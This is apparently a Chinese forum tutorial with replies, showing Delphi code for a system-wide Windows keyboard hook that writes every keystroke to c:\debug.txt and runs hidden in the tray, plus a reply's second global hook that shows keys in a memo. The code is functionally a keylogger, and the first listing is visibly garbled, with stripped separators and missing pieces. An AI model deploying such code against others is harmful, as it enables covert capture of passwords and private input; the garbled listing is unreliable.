利用Hook技术实现键盘监控
在许多系统中,出于安全或其它原因,常常要求随时对键盘进行监控,一个专业的监控程序必须具备两点,一是实时;二是作为指示图标运行。实际应用中把利用Hook(即钩子)技术编写的应用程序添加到Windows的任务栏的指示区中就能够很好的达到这个目的。我在参考了API帮助文档基础上,根据在Delphi开发环境中的具体实现分别对这两部分进行详细论述。
一、Hook(钩子)的实现:   
Hook是应用程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用程序中实现,若应用程序不是当前窗口时,该Hook就不起作用;如果Hook在DLL中实现,程序在运行中动态调用它,它能实时对系统进行监控。根据需要,我们采用的是在DLL中实现Hook的方式。
1.新建一个导出两个函数的DLL文件,在hookproc.pas中定义了钩子具体实现过程。 代码如下:library keyspy;uses windowsmessageshookproc in 'hookproc.pas';exports setkeyhookendkeyhook;begin nexthookproc:=0;procsaveexit:=exitproc;exitproc:=@keyhookexit;end.2.在Hookproc.pas中实现了钩子具体过程:unit hookproc;interface uses WindowsMessagesSysUtilsControlsStdCtrls;var nexthookproc:hhook;procsaveexit:pointer;function keyboardhook(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;function setkeyhook:bool;export;//加载钩子function endkeyhook:bool;export;//卸载钩子procedure keyhookexit;far;const afilename='c:\debug.txt';//将键盘输入动作写入文件中var debugfile:textfile;implementation function keyboardhookhandler(icode:integer;wparam:wparam; lparam:lparam):lresult;stdcall;export;begin if icode<0 thenbegin result:=callnexthookex(hnexthookprocicodewparamlparam);exit;end;assignfile(debugfileafilename);append(debugfile);  if getkeystate(vk_return)<0 thenbegin writeln(debugfile'');write(debugfilechar(wparam));endelse write(debugfilechar(wparam));closefile(debugfile);result:=0;end;function endkeyhook:bool;export;begin if nexthookproc<>0 thenbegin unhookwindowshookex(nexthookproc);nexthookproc:=0;messagebeep(0);end;result:=hnexthookproc=0;end;procedure keyhookexit;far;begin if nexthookproc<>0 thenendkeyhook;exitproc:=procsaveexit;end;end.
二、Win95/98使用任务栏右方指示区来显示应用程序或工具图标对指示区图标的操作涉及了一个API函数Shell_NotifyIcon,它有两个参数,一个是指向TnotifyIconData结构的指针,另一个是要添加、删除、改动图标的标志。通过该函函数将应用程序的图标添加到指示区中,使其作为图标运行增加专业特色。当程序起动后,用鼠标右键点击图标,则弹出一个菜单,可选择sethook或endhook。unit kb;   interfaceusesWindowsMessagesSysUtilsClassesGraphicsControlsFormsDialogsStdCtrlsMenusshellapi;const icon_id=1;MI_iconevent=wm_user+1;//定义一个用户消息typeTForm1 = class(TForm)PopupMenu1: TPopupMenu;sethook1: TMenuItem;endhook1: TMenuItem;N1: TMenuItem;About1: TMenuItem;Close1: TMenuItem;Gettext1: TMenuItem;procedure FormCreate(Sender: TObject);procedure sethook1Click(Sender: TObject);procedure endhook1Click(Sender: TObject);procedure FormDestroy(Sender: TObject);procedure Close1Click(Sender: TObject);private{ Private declarations }nid:tnotifyicondata;normalicon:ticon;public{ Public declarations }procedure icontray(var msg:tmessage);  message mi_iconevent;end;
varForm1: TForm1;
implementation
{$R *.DFM}
function setkeyhook:bool;external 'keyspy.dll';function endkeyhook:bool;external 'keyspy.dll';procedure tform1.icontray(var msg:tmessage);varpt:tpoint;beginif msg.lparam=wm_lbuttondown thensethook1click(self);if msg.LParam=wm_rbuttondown thenbegingetcursorpos(pt);setforegroundwindow(handle);popupmenu1.popup(pt.xpt.y);end;end;
procedure TForm1.FormCreate(Sender: TObject);beginnormalicon:=ticon.create;application.title:=caption;nid.cbsize:=sizeof(nid);nid.wnd:=handle;nid.uid:=icon_id;nid.uflags:=nif_icon or nif_message or nif_tip;            nid.ucallbackmessage:=mi_iconevent;  nid.hIcon :=normalicon.handle;strcopy(nid.sztippchar(caption));nid.uFlags:=nif_message or nif_icon or nif_tip;               shell_notifyicon(nim_add@nid);SetWindowLong(Application.HandleGWL_EXSTYLEWS_EX_TOOLWINDOW);end;
procedure TForm1.sethook1Click(Sender: TObject);begin setkeyhook;end;
procedure TForm1.endhook1Click(Sender: TObject);begin endkeyhook;end;
procedure TForm1.FormDestroy(Sender: TObject);begin nid.uFlags :=0;shell_notifyicon(nim_delete@nid);end;
procedure TForm1.Close1Click(Sender: TObject);begin application.terminate;end;   该程序虽然只用了几个shellai函数,但是它涉及到了在Delphi中对DLL的引用、钩子实现、对指示区的操作、用户定义消息的处理、文件的读写等比较重要的内容,我相信这篇文章能对许多Delphi的初学者有所帮助。
该程序在Win98、Delphi4.0中正常运行。

解决方案 »

  1.   

    这个例子是个键盘Hook,将按键显示在Memo中。library Hook_Dll;{ Important note about DLL memory management: ShareMem must be the
      first unit in your library's USES clause AND your project's (select
      Project-View Source) USES clause if your DLL exports any procedures or
      functions that pass strings as parameters or function results. This
      applies to all strings passed to and from your DLL--even those that
      are nested in records and classes. ShareMem is the interface unit to
      the BORLNDMM.DLL shared memory manager, which must be deployed along
      with your DLL. To avoid using BORLNDMM.DLL, pass string information
      using PChar or ShortString parameters. }uses
      SysUtils,
      Windows,
      messages,
      Classes;{$R *.RES}
    const
            CM_MYMessage = WM_USER + $1000;var
            HookKeyBoard : HHook;
            FileM   : THandle;
            PReceptor       : ^Integer;function        CallBackKeyHook(Code : Integer;
                                    wParam : WPARAM;
                                    lParam : LPARAM
                                    )      : LRESULT;
                                    stdcall;
    begin
      if code = HC_ACTION then
          begin
            FileM := OpenFileMapping(FILE_MAP_READ,False,'LReceptor');        if FileM <> 0 then
            begin
                PReceptor := MapViewOfFile(FileM,FILE_MAP_READ,0,0,0);
                PostMessage(PReceptor^,CM_MYMessage,wParam,lParam);
                UnMapViewOfFile(PReceptor);
                CloseHandle(FileM);
            end;      end;
          Result := CallNextHookEx(HookKeyBoard,Code,wParam,lParam);
    end;procedure HookOff;stdcall;
    begin
          UnHookWindowsHookEx(HookKeyBoard);
    end;procedure HookOn ; stdcall;
    begin
          HookKeyBoard := SetWindowsHookEx(WH_KEYBOARD,@CallBackKeyHook,HInstance,0);
    end;exports
     HookOn, HookOff;
    begin
    end.//////////////////////////unit pas_KeySpy;interfaceuses
      Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
      StdCtrls;const
          HookDll ='Hook_Dll.dll';
          CM_MYMessage = WM_USER + $1000;type
          THookDll = procedure;stdcall;type
      TForm1 = class(TForm)
        Memo1: TMemo;
        Button1: TButton;
        procedure FormCreate(Sender: TObject);
        procedure FormDestroy(Sender: TObject);
        procedure Button1Click(Sender: TObject);
      private
        { Private declarations }
        FileM : THandle;
        PReceptor : ^Integer;
        HandleDll     : THandle;
        HookOn,HookOff      :     THookDll;
        procedure DoKeyBoardHook(var message: TMessage); Message CM_MYMessage;
      public
        { Public declarations }  end;var
      Form1: TForm1;implementation{$R *.DFM}procedure TForm1.FormCreate(Sender: TObject);
    begin
          HandleDll := LoadLibrary(Pchar(ExtractFilePath(Application.ExeName)
                      + HookDll));      if HandleDll = 0 then
                raise Exception.Create(' Could Not found the DLL!');      @HookOn := GetProcAddress(HandleDll,'HookOn');
          @HookOff := GetProcAddress(HandleDll,'HookOff');      if Not assigned(HookOn) or not assigned(HookOff) then
                raise Exception.Create(' Couldn''t found the function'+#13+
                      ' in the DLL file!');      FileM := CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,
                      SizeOf(Integer),'LReceptor');      if FileM = 0 then
                raise Exception.Create(' Create Map File ERROR!');      PReceptor := MapViewOfFile(FileM, FILE_MAP_WRITE, 0,0,0);
          PReceptor^ := Handle;      hookOn;
    end;procedure TForm1.DoKeyBoardHook(var message: TMessage);
    var
          Numbers : array[0..100] of Char;
          Action : string;
    begin
          GetKeyNameText(Message.LParam,@Numbers,100);
          if ((message.Lparam shr 31) and 1) =1 then
                Action := 'Released'
          else
          if ((message.Lparam shr 30) and 1) =1 then
                Action := 'Repressed'
          else  Action := 'Pressed';      Memo1.Lines.Append(Action + ' Value: '
                            + String(Numbers));
    end;procedure TForm1.FormDestroy(Sender: TObject);
    begin
          if Assigned(HookOff) then HookOff;      if HandleDll <> 0 then
          FreeLibrary(HandleDLL);      if FileM <>0 then
          begin
                UnMapViewOfFile(Preceptor);
                CloseHandle(FileM);
          end;
    end;procedure TForm1.Button1Click(Sender: TObject);
    begin
          Memo1.Clear;
    end;end.
      

  2.   

    to kevin_gao(困了!累了!睡觉了!) :
          这样的话会两次啊,怎么解决呢,伤脑筋!
      

  3.   

    建议: cobi(我是小新,我只有5岁) :
    麻烦你下次写代码时紧凑些,copy 时占地方,看也费劲。ok??